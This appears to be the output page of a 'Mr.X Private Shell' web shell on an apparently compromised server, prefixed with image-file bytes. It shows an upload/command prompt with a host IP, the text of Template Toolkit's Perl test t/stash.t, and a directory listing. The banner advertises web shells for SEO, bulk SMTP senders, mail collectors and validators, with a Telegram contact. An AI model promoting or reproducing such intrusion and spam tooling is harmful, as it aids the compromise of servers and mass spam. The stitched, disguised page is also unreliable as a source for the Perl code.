����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#============================================================= -*-perl-*-
#
# t/stash.t
#
# Template script testing (some elements of) the Template::Stash
#
# Written by Andy Wardley <abw@wardley.org>
#
# Copyright (C) 1996-2000 Andy Wardley.  All Rights Reserved.
# Copyright (C) 1998-2000 Canon Research Centre Europe Ltd.
#
# This is free software; you can redistribute it and/or modify it
# under the same terms as Perl itself.
#
# $Id$
#
#========================================================================

use strict;
use lib qw( ./lib ../lib );
use Template::Constants qw( :status :debug );
use Template;
use Template::Stash;
use Template::Config;
use Template::Test;
$^W = 1;

my $DEBUG = grep(/-d/, @ARGV);
#$Template::Parser::DEBUG     = $DEBUG;
#$Template::Directive::PRETTY = $DEBUG;

#------------------------------------------------------------------------
# define some simple objects for testing
#------------------------------------------------------------------------

package ListObject;
package HashObject;

sub hello {
    my $self = shift;
    return "Hello $self->{ planet }";
}

sub goodbye {
    my $self = shift;
    return $self->no_such_method();
}

#------------------------------------------------------------------------
# Another object for tracking down a bug with DBIx::Class where TT is 
# causing the numification operator to be called.  Matt S Trout suggests
# we've got a truth test somewhere that should be a defined but that 
# doesn't appear to be the case...
# http://rt.cpan.org/Ticket/Display.html?id=23763
#------------------------------------------------------------------------

package Numbersome;

use overload 
    '""' => 'stringify',
    '0+' => 'numify', 
    fallback => 1;

sub new {
    my ($class, $text) = @_;
    bless \$text, $class;
}

sub numify {
    my $self = shift;
    return "FAIL: numified $$self";
}

sub stringify {
    my $self = shift;
    return "PASS: stringified $$self";
}

sub things {
    return [qw( foo bar baz )];
}

package GetNumbersome;

sub new {
    my ($class, $text) = @_;
    bless { }, $class;
}

sub num {
    Numbersome->new("from GetNumbersome");
}

#-----------------------------------------------------------------------
# another object without overloaded comparison.
# http://rt.cpan.org/Ticket/Display.html?id=24044
#-----------------------------------------------------------------------

package CmpOverloadObject;

use overload ('cmp' => 'compare_overload', '<=>', 'compare_overload');

sub new { bless {}, shift };

sub hello {
    return "Hello";
}

sub compare_overload {
    die "Mayhem!";
}

package main;
    

$Template::Config::STASH = 'Template::Stash';

my $count = 20;
my $data = {
    foo => 10,
    bar => {
        baz => 20,
    },
    baz => sub {
        return {
            boz => ($count += 10),
            biz => (shift || '<undef>'),
        };
    },
    obj => bless({
        name => 'an object',
    }, 'AnObject'),
    bop => sub { return ( bless ({ name => 'an object' }, 'AnObject') ) }, 
    hashobj => bless({ planet => 'World' }, 'HashObject'),
    listobj => bless([10, 20, 30], 'ListObject'),
    num     => Numbersome->new("Numbersome"),
    getnum  => GetNumbersome->new,
    cmp_ol  => CmpOverloadObject->new(),
    clean   => sub {
        my $error = shift;
        $error =~ s/(\s*\(.*?\))?\s+at.*$//;
        return $error;
    },
};

my $stash = Template::Stash->new($data);

match( $stash->get('foo'), 10 );
match( $stash->get([ 'bar', 0, 'baz', 0 ]), 20 );
match( $stash->get('bar.baz'), 20 );
match( $stash->get('bar(10).baz'), 20 );
match( $stash->get('baz.boz'), 30 );
match( $stash->get('baz.boz'), 40 );
match( $stash->get('baz.biz'), '<undef>' );
match( $stash->get('baz(50).biz'), '<undef>' );   # args are ignored

$stash->set( 'bar.buz' => 100 );
match( $stash->get('bar.buz'), 100 );

# test the dotop() method
match( $stash->dotop({ foo => 10 }, 'foo'), 10 );


my $ttlist = [
    'default' => Template->new(),
    'warn'    => Template->new(DEBUG => DEBUG_UNDEF, DEBUG_FORMAT => ''),
];

test_expect(\*DATA, $ttlist, $data);

__DATA__
-- test --
a: [% a %]
-- expect --
a: 

-- test --
-- use warn --
[% TRY; a; CATCH; "ERROR: $error"; END %]
-- expect --
ERROR: undef error - a is undefined

-- test --
-- use default --
[% myitem = 'foo' -%]
1: [% myitem %]
2: [% myitem.item %]
3: [% myitem.item.item %]
-- expect --
1: foo
2: foo
3: foo

-- test --
[% myitem = 'foo' -%]
[% "* $item\n" FOREACH item = myitem -%]
[% "+ $item\n" FOREACH item = myitem.list %]
-- expect --
* foo
+ foo

-- test --
[% myitem = 'foo' -%]
[% myitem.hash.value %]
-- expect --
foo

-- test --
[% myitem = 'foo'
   mylist = [ 'one', myitem, 'three' ]
   global.mylist = mylist
-%]
[% mylist.item %]
0: [% mylist.item(0) %]
1: [% mylist.item(1) %]
2: [% mylist.item(2) %]
-- expect --
one
0: one
1: foo
2: three

-- test --
[% "* $item\n" FOREACH item = global.mylist -%]
[% "+ $item\n" FOREACH item = global.mylist.list -%]
-- expect --
* one
* foo
* three
+ one
+ foo
+ three

-- test --
[% global.mylist.push('bar');
   "* $item.key => $item.value\n" FOREACH item = global.mylist.hash -%]
-- expect --
* one => foo
* three => bar

-- test --
[% myhash = { msg => 'Hello World', things => global.mylist, a => 'alpha' };
   global.myhash = myhash 
-%]
* [% myhash.item('msg') %]
-- expect --
* Hello World

-- test --
[% global.myhash.delete('things') -%]
keys: [% global.myhash.keys.sort.join(', ') %]
-- expect --
keys: a, msg

-- test --
[% "* $item\n" 
    FOREACH item IN global.myhash.items.sort -%]
-- expect --
* a
* alpha
* Hello World
* msg

-- test --
[% items = [ 'foo', 'bar', 'baz' ];
   take  = [ 0, 2 ];
   slice = items.$take;
   slice.join(', ');
%]
-- expect --
foo, baz

-- test --
[% items = {
    foo = 'one',
    bar = 'two',
    baz = 'three'
   }
   take  = [ 'foo', 'baz' ];
   slice = items.$take;
   slice.join(', ');
%]
-- expect --
one, three

-- test --
[% items = {
    foo = 'one',
    bar = 'two',
    baz = 'three'
   }
   keys = items.keys.sort;
   items.${keys}.join(', ');
%]
-- expect --
two, three, one


-- test --
[% obj.name %]
-- expect --
an object

-- test --
[% obj.name.list.first %]
-- expect --
an object

-- test --
[% obj.items.first %]
-- expect --
name

-- test --
[% obj.items.1 %]
-- expect --
an object

-- test --
[% bop.first.name %]
-- expect --
an object

-- test --
[% listobj.0 %] / [% listobj.first %]
-- expect --
10 / 10

-- test --
[% listobj.2 %] / [% listobj.last %]
-- expect --
30 / 30

-- test --
[% listobj.join(', ') %]
-- expect --
10, 20, 30

-- test --
=[% size %]=
-- expect --
==

-- test --
[% foo = { "one" = "bar" "" = "empty" } -%]
foo is { [% FOREACH k IN foo.keys.sort %]"[% k %]" = "[% foo.$k %]" [% END %]}
setting foo.one to baz
[% fookey = "one" foo.$fookey = "baz" -%]
foo is { [% FOREACH k IN foo.keys.sort %]"[% k %]" = "[% foo.$k %]" [% END %]}
setting foo."" to quux
[% fookey = "" foo.$fookey = "full" -%]
foo is { [% FOREACH k IN foo.keys.sort %]"[% k %]" = "[% foo.$k %]" [% END %]}
--expect --
foo is { "" = "empty" "one" = "bar" }
setting foo.one to baz
foo is { "" = "empty" "one" = "baz" }
setting foo."" to quux
foo is { "" = "full" "one" = "baz" }


# test Dave Howorth's patch (v2.15) which makes the stash more strict
# about what it considers to be a missing method error

-- test --
[% hashobj.hello %]
-- expect --
Hello World

-- test --
[% TRY; hashobj.goodbye; CATCH; "ERROR: "; clean(error); END %]
-- expect --
ERROR: undef error - Can't locate object method "no_such_method" via package "HashObject"


#-----------------------------------------------------------------------
# try and pin down the numification bug
#-----------------------------------------------------------------------

-- test --
[% FOREACH item IN num.things -%]
* [% item %]
[% END -%]
-- expect --
* foo
* bar
* baz

-- test --
[% num %]
-- expect --
PASS: stringified Numbersome

-- test --
[% getnum.num %]
-- expect --
PASS: stringified from GetNumbersome


# Exercise the object with the funky overloaded comparison

-- test --
[% cmp_ol.hello %]
-- expect --
Hello

Filemanager

Name Type Size Permission Actions
lib Folder 0755
test Folder 0755
vmethods Folder 0755
README File 3.1 KB 0644
anycase.t File 2.16 KB 0644
args.t File 2.41 KB 0644
assert.t File 2.53 KB 0644
base.t File 3.58 KB 0644
binop.t File 4.82 KB 0644
block.t File 2.71 KB 0644
block_duplicate.t File 476 B 0644
blocks.t File 2.2 KB 0644
capture.t File 1.59 KB 0644
case.t File 1.46 KB 0644
chomp.t File 7.71 KB 0644
compile1.t File 2.12 KB 0644
compile2.t File 2.67 KB 0644
compile3.t File 3.75 KB 0644
compile4.t File 2.38 KB 0644
compile5.t File 3.28 KB 0644
config.t File 6.46 KB 0644
constants.t File 5.07 KB 0644
context.t File 5.87 KB 0644
datafile.t File 1.81 KB 0644
date.t File 6.73 KB 0644
date_offset.t File 2.17 KB 0644
date_utf8.t File 1.33 KB 0644
debug.t File 3.86 KB 0644
directive.t File 4.76 KB 0644
directry.t File 5.48 KB 0644
document.t File 3.58 KB 0644
dumper.t File 1.47 KB 0644
error.t File 953 B 0644
evalperl.t File 3.73 KB 0644
exception.t File 1.52 KB 0644
factory.t File 1.4 KB 0644
file.t File 2.87 KB 0644
fileline.t File 3.16 KB 0644
filter.t File 17.74 KB 0644
foreach.t File 10.31 KB 0644
format.t File 1.78 KB 0644
html.t File 2.52 KB 0644
image.t File 2.22 KB 0644
include.t File 6.04 KB 0644
iterator.t File 3.67 KB 0644
leak.t File 5.01 KB 0644
list.t File 4.41 KB 0644
load_order_vmethods_stash.t File 192 B 0644
macro.t File 2.93 KB 0644
math.t File 1.22 KB 0644
math_rand.t File 476 B 0644
meta.t File 881 B 0644
mtime-zero.t File 1.04 KB 0644
object.t File 7.23 KB 0644
outline.t File 2.29 KB 0644
outline_line.t File 971 B 0644
output.t File 2.66 KB 0644
parser.t File 4.74 KB 0644
parser2.t File 981 B 0644
plugins.t File 6.12 KB 0644
plusfile.t File 1.91 KB 0644
pod.t File 2.05 KB 0644
prefix.t File 1.46 KB 0644
proc.t File 867 B 0644
process-relative.t File 2.05 KB 0644
process.t File 1.88 KB 0644
process_dir.t File 1.84 KB 0644
provider.t File 11.08 KB 0644
ref.t File 1.63 KB 0644
scalar.t File 2.56 KB 0644
service.t File 5.07 KB 0644
skel.t File 947 B 0644
stash-xs-unicode.t File 2.03 KB 0644
stash-xs.t File 8.42 KB 0644
stash.t File 7.91 KB 0644
stashc.t File 1.6 KB 0644
stop.t File 2.72 KB 0644
strcat.t File 758 B 0644
strict.t File 1.52 KB 0644
string.t File 7.38 KB 0644
switch.t File 3.83 KB 0644
table.t File 2.68 KB 0644
tags.t File 3.63 KB 0644
template.t File 1.49 KB 0644
text.t File 2.89 KB 0644
throw.t File 1.94 KB 0644
tiedhash.t File 5.28 KB 0644
trace_vars.t File 1.11 KB 0644
try.t File 9.83 KB 0644
unicode.t File 4.55 KB 0644
url.t File 4.06 KB 0644
vars.t File 11.36 KB 0644
varsv1.t File 8.96 KB 0644
view.t File 17.43 KB 0644
while.t File 3.18 KB 0644
wrap.t File 2.63 KB 0644
wrapper.t File 3.95 KB 0644
zz-plugin-cycle.t File 1.6 KB 0644
zz-plugin-leak-gh-213.t File 2.77 KB 0644
zz-plugin-leak-rt-46691.t File 2.95 KB 0644
zz-plugin-leak.t File 2.02 KB 0644
zz-pmv.t File 1.15 KB 0644
zz-pod-coverage.t File 1.64 KB 0644
zz-pod-kwalitee.t File 776 B 0644
zz-stash-xs-leak.t File 1.59 KB 0644
zz-url2.t File 3.71 KB 0644